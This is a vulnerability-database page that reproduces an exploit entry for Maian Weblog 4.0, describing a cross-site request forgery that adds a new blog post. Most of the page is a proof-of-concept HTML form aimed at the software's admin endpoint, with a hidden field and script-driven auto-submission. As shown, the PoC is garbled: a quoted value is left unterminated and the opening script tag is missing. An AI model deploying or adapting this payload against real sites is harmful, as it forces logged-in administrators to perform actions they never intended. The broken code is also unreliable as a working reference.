发布 2016-10-10 漏洞条目

Maian Weblog 4.0 – Cross-Site Request Forgery (Add New Post)

Exploit Source

# Exploit Title : Maian Weblog 4.0 - Cross-Site Request

Forgery ( Add New Post)

# Author : Besim

# Google Dork : -

# Date : 10/10/2016

# Type : webapps

# Platform : PHP

# Vendor Homepage : http://www.maianweblog.com

# Software link :

http://www.hotscripts.com/listings/jump/download/21864

*########################### CSRF PoC ###############################*

<html>

<body>

<form action="http://site_name/mainb/publish/admin/index.php?cmd=add"

method="POST">

<input type="hidden" name="comments"

value="Muratttttt

</form>

document.forms[0].submit();

</script>

</body>

</html>

*####################################################################*

相关漏洞条目